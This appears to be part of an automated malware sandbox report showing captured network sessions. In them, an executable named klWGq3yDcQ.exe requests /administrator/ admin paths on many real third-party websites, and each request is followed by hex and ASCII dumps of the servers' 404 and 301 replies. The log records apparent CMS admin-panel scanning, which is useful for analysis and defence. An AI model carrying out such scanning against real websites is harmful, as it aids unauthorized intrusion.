76	192.168.2.4	56295	72.167.58.161	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:32 UTC	175	OUT	GET /administrator/ HTTP/1.1 Host: webstamp.ca Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:32 UTC	275	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 32 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 75 70 67 72 61 64 65 2d 69 6e 73 65 63 75 72 65 2d 72 65 71 75 65 73 74 73 3b 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 2c 68 32 63 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 55 70 67 72 61 64 65 2c 20 63 6c 6f 73 65 0d 0a 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 74 65 6e 74 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:32 GMTServer: ApacheContent-Security-Policy: upgrade-insecure-requests;Upgrade: h2,h2cConnection: Upgrade, closeAccept-Ranges: bytesVary: Accept-EncodingTransfer-Encoding: chunkedContent
2023-11-26 05:59:32 UTC	651	IN	Data Raw: 32 37 66 0d 0a 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 4f 4f 50 53 21 20 53 6f 6d 65 74 68 69 6e 67 20 77 65 6e 74 20 77 72 6f 6e 67 2e 20 54 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 68 61 73 20 62 65 65 6e 20 0d 0a 72 65 6d 6f 76 65 64 20 6f 72 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 75 6e 64 65 72 20 6d 61 69 6e 74 65 6e 61 6e 63 65 2e 0d 0a 46 65 65 6c 20 66 72 65 65 20 74 6f 20 72 65 61 64 20 74 68 65 20 6d 61 6e 79 20 6f 74 68 65 72 20 61 72 74 69 63 6c 65 73 20 61 76 61 69 6c 61 62 6c 65 20 61 74 20 0d 0a 68 74 74 70 73 3a 2f 2f 77 65 62 73 74 61 6d 70 2e 63 61 0d 0a 3c 21 2d 2d 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 27f/administrator/OOPS! Something went wrong. The page you requested has been removed or is currently under maintenance.Feel free to read the many other articles available at https://webstamp.ca...

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	56500	34.149.87.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:32 UTC	183	OUT	GET /administrator HTTP/1.1 Host: www.linkan-group.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:32 UTC	1086	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 36 30 30 0d 0a 58 2d 57 69 78 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 31 37 30 30 39 37 38 33 37 32 2e 34 31 34 31 30 33 35 38 35 31 30 34 31 35 37 32 37 31 33 36 0d 0a 41 67 65 3a 20 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 53 65 72 76 65 72 3a 20 50 65 70 79 61 6b 61 2f 31 2e 31 39 2e 31 30 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 Data Ascii: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1700978372.41410358510415727136Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Opti
2023-11-26 05:59:32 UTC	166	IN	Data Raw: 62 33 31 0d 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 Data Ascii: b31 ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-sc
2023-11-26 05:59:32 UTC	1252	IN	Data Raw: 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 Data Ascii: ale=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width">
2023-11-26 05:59:32 UTC	1252	IN	Data Raw: 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 Data Ascii: vices/third-party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719
2023-11-26 05:59:32 UTC	207	IN	Data Raw: 20 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	56290	78.128.62.138	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:32 UTC	187	OUT	GET /administrator/index.php HTTP/1.1 Host: integraledu.hr Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:33 UTC	302	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 69 6e 74 65 67 72 61 6c 65 64 75 2e 68 72 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 69 6e 64 65 78 2e 70 68 70 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 36 30 30 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 39 3a 33 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 32 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:33 GMTServer: ApacheLocation: https://www.integraledu.hr/administrator/index.phpCache-Control: max-age=600Expires: Sun, 26 Nov 2023 06:09:33 GMTContent-Length: 323Connection: close
2023-11-26 05:59:33 UTC	323	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 69 6e 74 65 67 72 61 6c 65 64 75 2e 68 72 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 69 6e 64 65 78 2e 70 68 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.integraledu.hr/administrator/index.php">here</a>.</p><hr><addres

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	56271	185.135.132.105	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:32 UTC	177	OUT	GET /administrator/ HTTP/1.1 Host: grantstech.io Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:32 UTC	347	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 61 6e 74 73 74 65 63 68 2e 69 6f 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:32 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 326Connection: closeLocation: http://www.grantstech.io/administrator/Cache-Control: max-age=0Expires: Sun, 26 Nov 202
2023-11-26 05:59:32 UTC	326	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 61 6e 74 73 74 65 63 68 2e 69 6f 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://www.grantstech.io/administrator/">here</a>.</p><hr><address>Apache/2.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	56573	34.149.87.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:32 UTC	179	OUT	GET /en/administrator HTTP/1.1 Host: www.dstaq.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:32 UTC	1086	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 36 30 30 0d 0a 58 2d 57 69 78 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 31 37 30 30 39 37 38 33 37 32 2e 34 38 32 31 30 33 35 35 33 39 37 31 30 35 38 33 31 38 36 31 0d 0a 41 67 65 3a 20 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 53 65 72 76 65 72 3a 20 50 65 70 79 61 6b 61 2f 31 2e 31 39 2e 31 30 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 Data Ascii: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1700978372.48210355397105831861Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Opti
2023-11-26 05:59:32 UTC	166	IN	Data Raw: 62 33 31 0d 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 Data Ascii: b31 ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-sc
2023-11-26 05:59:32 UTC	1252	IN	Data Raw: 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 Data Ascii: ale=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width">
2023-11-26 05:59:32 UTC	1252	IN	Data Raw: 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 Data Ascii: vices/third-party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719
2023-11-26 05:59:32 UTC	207	IN	Data Raw: 20 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	56382	162.144.64.233	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:32 UTC	177	OUT	GET /administrator/ HTTP/1.1 Host: tcetmumbai.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:33 UTC	166	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 37 36 34 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:33 GMTServer: ApacheAccept-Ranges: bytesContent-Length: 764Connection: closeContent-Type: text/html
2023-11-26 05:59:33 UTC	764	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 3c 73 74 79 6c 65 3e 0d 0a 68 31 7b 0d 0a 66 6f 6e 74 2d 73 69 7a 65 3a 38 30 70 78 3b 0d 0a 66 6f 6e 74 2d 77 65 69 67 68 74 3a 38 30 30 3b 0d 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0d 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 7d 0d 0a 68 32 0d 0a 7b 0d 0a 66 6f 6e 74 2d 73 69 7a 65 3a 32 35 70 78 3b Data Ascii: <html><head><title>404 Error</title><link href="https://fonts.googleapis.com/css?family=Roboto:700" rel="stylesheet"><style>h1{font-size:80px;font-weight:800;text-align:center;font-family: 'Roboto', sans-serif;}h2{font-size:25px;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	56630	67.205.16.72	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:32 UTC	176	OUT	GET /administrator/ HTTP/1.1 Host: capforge.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:33 UTC	512	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 32 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 63 61 70 66 6f 72 67 65 2e 63 6f 6d 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 77 2e 6f 72 67 2f 22 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 70 62 69 64 3d 31 65 64 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:32 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://capforge.com/wp-json/>; rel="https://api.w.org/"Set-Cookie: pbid=1ed
2023-11-26 05:59:33 UTC	6	IN	Data Raw: 64 35 35 34 0d 0a Data Ascii: d554
